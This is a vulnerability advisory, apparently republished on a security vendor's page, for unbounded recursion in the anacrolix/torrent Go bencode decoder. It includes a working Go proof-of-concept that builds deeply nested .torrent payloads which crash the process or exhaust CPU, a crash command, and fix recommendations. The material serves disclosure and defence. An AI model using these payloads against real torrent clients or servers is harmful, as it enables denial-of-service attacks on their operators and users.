Summary
anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS
anacrolix/torrent's bencode decoder (bencode/) applies no limit on the nesting depth of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted .torrent file or from metadata obtained from a peer on a magnet-link/v2 download:
- Stack-overflow process crash.
Decoder.readOneValuerecurses once per nesting level with no depth bound. A.torrentwhoseinfovalue is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverablefatal error: stack overflow. 2. Quadratic CPU exhaustion.metainfo.FileTree.UnmarshalBencode(BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.
Affected: every application embedding github.com/anacrolix/torrent that ingests attacker-supplied metainfo - the CLI tools (cmd/torrent, cmd/torrent2), any server that opens .torrent files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.
Vulnerability Details
All file:line references are against the pinned commit 4ad31c5170787215c51c6ddaa54abc06b623c11c.
Root cause - no recursion/depth limit in the bencode decoder
bencode/decode.go implements three independently unbounded recursive parsers. There is no depth counter and no MaxDepth/nesting guard anywhere in bencode/ or metainfo/.
Defect 1 - readOneValue recursion (bencode/decode.go:546-549)
case 'd', 'l':
// read until there is nothing to read
for d.readOneValue() {
} // <- recurses once per nested dict/list level, unbounded
readOneValue is invoked by Decoder.parseUnmarshaler (bencode/decode.go:591) whenever a decoded field implements bencode.Unmarshaler, which includes bencode.Bytes - the type of MetaInfo.InfoBytes (metainfo/metainfo.go:17). So decoding a normal .torrent routes the entire info value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting l a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a fatal error - it is not a recoverable panic, so the recover() in Decoder.Decode (bencode/decode.go:35-55) cannot intercept it, and the whole process terminates.
Entry points that reach readOneValue with attacker-controlled bytes:
metainfo.Load(metainfo/metainfo.go:35) /metainfo.LoadFromFile(metainfo.go:50) - decoding a.torrentfile; theinfovalue becomes abencode.Bytesunmarshaler field.Client.AddTorrent/Client.AddTorrentFromFile->metainfo.LoadFromFile(client.go:1776insideAddTorrentFromFile), andTorrentSpec.InfoBytes->setInfoBytesLocked->bencode.Unmarshal(b, &info)(torrent.go:638) - peer-fetched metadata.
For the remote-peer path (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to setInfoBytesLocked once complete (torrent.go:1874). The accepted metadata size is capped at maxMetadataSize = 16 MiB (global.go:18), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened .torrent.
Defect 2 - FileTree.UnmarshalBencode recursive re-parse (metainfo/file-tree.go:42-49)
for key, bytes := range dir {
var sub FileTree
err = sub.UnmarshalBencode(bytes) // <- recurses once per file-tree level, and each call re-runs
// bencode.Unmarshal over its entire subtree
FileTree implements bencode.Unmarshaler (file-tree.go:53), so the file tree field of a v2 info dict (metainfo/info.go:33) routes through it. Each level calls sub.UnmarshalBencode, which starts with bencode.Unmarshal(bytes, &dir) over the whole remaining subtree. A file tree nested D levels deep therefore performs O(D) bencode.Unmarshal calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.
Reachability: any bencode.Unmarshal into metainfo.Info, including the peer-metadata path setInfoBytesLocked (torrent.go:638) for a magnet/v2 download, and MetaInfo.UnmarshalInfo (metainfo/metainfo.go:61-64).
Sanitizers / existing limits that do NOT apply
Decoder.MaxStrLen(bencode/decode.go:787-791, default 128 MiB) bounds a single string value; it is never consulted byreadOneValue(decode.go:564doesio.CopyN(&d.buf, d.r, length)with noMaxStrLencheck) and does not bound dict/list nesting depth.- The existing fuzzers (
bencode/fuzz_test.go) only round-tripinterface{}values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.
Reproduction Steps
All runs are local-only within the test host; nothing contacts a network.
Environment and single harness
The harness is a single Go program (go test-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):
go mod init torrent_recursion_dos
go mod edit -require github.com/anacrolix/[email protected]
go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout
go test -run TestDefect1_StackOverflow -v .
go test -run TestDefect2_CPUExhaustion -v .
Harness (torrent_recursion_dos_test.go, placed in a temp module that imports the local clone):
package torrent_recursion_dos
import (
"bytes"
"fmt"
"os"
"testing"
"github.com/anacrolix/torrent/bencode"
"github.com/anacrolix/torrent/metainfo"
)
// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a
// valid .torrent: { "info": <that list> }.
func buildInfo(depth int, mode byte) []byte {
var b bytes.Buffer
b.WriteString("d4:infod")
for i := 0; i < depth; i++ {
b.WriteByte(mode) // 'l' for a nested list
}
for i := 0; i < depth; i++ {
b.WriteByte('e')
}
b.WriteString("ee")
return b.Bytes()
}
// buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key
// dicts around a valid 32-byte-pieces-root file leaf.
func buildV2Info(depth int) []byte {
leaf := map[string]interface{}{
"": map[string]interface{}{
"length": 5,
"pieces root": string(bytes.Repeat([]byte{'A'}, 32)),
},
}
node := leaf
for i := 0; i < depth; i++ {
node = map[string]interface{}{"a": node}
}
info := map[string]interface{}{
"meta version": 2, "piece length": 32768, "file tree": node,
}
out, _ := bencode.Marshal(info)
return out
}
// Defect 1: metainfo.Load on a .torrent with a deeply nested info list
// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.
func TestDefect1_StackOverflow(t *testing.T) {
depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs
in := buildInfo(depth, 'l')
if len(os.Getenv("SKIP_CRASH")) == 0 {
// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so
// this drives readOneValue recursion. Crashes the process.
_, err := metainfo.Load(bytes.NewReader(in))
_ = err
}
fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth)
}
// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.
func TestDefect2_CPUExhaustion(t *testing.T) {
depth := 30_000 // ~0.2 MB; ~66 s on this machine
src := buildV2Info(depth)
var info metainfo.Info
if err := bencode.Unmarshal(src, &info); err != nil {
t.Fatal(err)
}
fmt.Println("[defect2] parsed deep v2 file tree")
}
Observations with the pinned commit (Go 1.26, laptop):
# TestDefect1 - process aborts, unrecoverable:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
[exit status 2]
# TestDefect2 - wall-clock parse time (single-threaded):
depth=30_000 => ~66 s
depth=60_000 => >90 s (timeout)
To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the metainfo.Load API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as d4:infod + 4,000,000 l + 4,000,000 e + ee:
./cmd/torrent -seed -metainfo ./crash.torrent # crashes
The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).
Recommendations
- Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through
parseValue/parseDict/parseList/parseValueInterface/parseListInterface/parseDictInterface/readOneValue, and return aSyntaxErrorwhen it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it onDecoderlike the existingMaxStrLen(bencode/decode.go:21-32). 2. MakereadOneValuelength-aware. Apply the sameMaxStrLenbound to theio.CopyN(&d.buf, d.r, length)atbencode/decode.go:564instead of trusting the raw length field, so oversized bulk fields fail asSyntaxErrorinstead of being buffered. 3. Break the O(n²) inFileTree.UnmarshalBencode. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-runningbencode.Unmarshalon every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely onrecover()- a stack overflow isfataland unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nestedd/lvalues and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.
References
- Source (pinned):
https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c- Unbounded recursion:
bencode/decode.go:546-549,bencode/decode.go:591 - File-tree recursion:
metainfo/file-tree.go:42-49 - Public entry points:
metainfo/metainfo.go:35-50,client.go:1776,torrent.go:638 - Missing
MaxStrLenin bulk read:bencode/decode.go:564 - Metadata size cap (remote reachability):
global.go:18, reassembly calltorrent.go:1874
- Unbounded recursion:
- Prior hardening in this codebase (unrelated to this class, recorded for completeness):
- v2 pieces-root panic fix: commit
7218a979("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit viamisc.go:92->file-tree.go:164. - Path-traversal safeguards in storage (
storage/file-paths.go:32isSubFilepath,storage/safe-path.go:16ToSafeFilePath) - inspected and found to hold (not the issue here).
- v2 pieces-root panic fix: commit
- No published advisory found: OSV.dev and NVD return no records for the package (
github.com/anacrolix/torrent, purlpkg:golang/github.com/anacrolix/torrent); the Go ecosystem advisory database lists none.
Impact
- Denial of service / availability (complete process crash). A single ~8 MB
.torrentfile, or ~8 MB of metadata from a malicious peer, crashes the embedding application withfatal error: stack overflow(Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies. - Denial of service / availability (CPU starvation). A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).
Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - global.go:18) or a local user opening a malicious .torrent. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative UI:R). Headline CVSS 3.1 base CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes N, raising it to 7.5. CWE-674 (Uncontrolled Recursion) is the precise root cause for Defect 1; CWE-407 (Inefficient Algorithmic Complexity) covers Defect 2.
Per-metric justification (headline 6.5 vector, UI:R):
- Attack Vector (AV): Network - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a
.torrentfile opened by any client of the library; no local access required. - Attack Complexity (AC): Low - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment.
- Privileges Required (PR): None - feeding metainfo to the decoder is the unprivileged, public API usage.
- User Interaction (UI): Required - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5).
- Scope (S): Unchanged - the impacted security authority is the embedding process itself.
- Confidentiality (C): None - no data disclosure.
- Integrity (I): None - no data modification.
- Availability (A): High - Defect 1 terminates the process with
fatal error: stack overflow(unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.
GHSA-2WRX-84QJ-4PCG has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.61.1-0.20260911233437-76452a2c8a2f); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-2WRX-84QJ-4PCG? GHSA-2WRX-84QJ-4PCG is a medium-severity security vulnerability in github.com/anacrolix/torrent (go), affecting versions < 1.61.1-0.20260911233437-76452a2c8a2f. It is fixed in 1.61.1-0.20260911233437-76452a2c8a2f.
- How severe is GHSA-2WRX-84QJ-4PCG? GHSA-2WRX-84QJ-4PCG has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/anacrolix/torrent are affected by GHSA-2WRX-84QJ-4PCG? github.com/anacrolix/torrent (go) versions < 1.61.1-0.20260911233437-76452a2c8a2f is affected.
- Is there a fix for GHSA-2WRX-84QJ-4PCG? Yes. GHSA-2WRX-84QJ-4PCG is fixed in 1.61.1-0.20260911233437-76452a2c8a2f. Upgrade to this version or later.
- Is GHSA-2WRX-84QJ-4PCG exploitable, and should I be worried? Whether GHSA-2WRX-84QJ-4PCG is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-2WRX-84QJ-4PCG is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-2WRX-84QJ-4PCG? Upgrade
github.com/anacrolix/torrentto 1.61.1-0.20260911233437-76452a2c8a2f or later.